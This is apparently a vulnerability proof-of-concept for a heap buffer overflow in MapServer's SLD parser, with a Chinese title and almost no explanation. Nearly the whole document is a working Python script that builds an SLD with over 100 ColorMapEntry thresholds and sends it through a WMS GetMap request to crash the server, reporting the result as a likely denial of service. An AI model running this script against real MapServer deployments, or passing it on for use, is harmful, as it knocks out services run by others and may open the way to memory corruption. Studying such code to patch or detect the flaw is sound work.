MapServer SLD解析器堆缓冲区溢出漏洞

import requests # Target URL (Example) target_url = "http://target-mapserver/cgi-bin/mapserv" # Construct malicious SLD with > 100 Threshold elements sld_body = """<?xml version="1.0" encoding="UTF-8"?> <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld"> <NamedLayer> <Name>LayerName</Name> <UserStyle> <FeatureTypeStyle> <Rule> <RasterSymbolizer> <ColorMap> <!-- Generate more than 100 thresholds --> """ for i in range(101): sld_body += f' <ColorMapEntry color="#000000" quantity="{i}" />\n' sld_body += """ </ColorMap> </RasterSymbolizer> </Rule> </FeatureTypeStyle> </UserStyle> </NamedLayer> </StyledLayerDescriptor>""" # Send request via WMS GetMap params = { "service": "WMS", "version": "1.1.0", "request": "GetMap", "layers": "LayerName", "styles": "", "srs": "EPSG:4326", "bbox": "-180,-90,180,90", "width": "800", "height": "600", "format": "image/png", "SLD_BODY": sld_body } try: response = requests.get(target_url, params=params, timeout=10) print(f"Status Code: {response.status_code}") if response.status_code == 500 or not response.content: print("Potential crash detected (Server Error or Empty Response).") except requests.exceptions.RequestException as e: print(f"Connection failed (Likely DoS): {e}")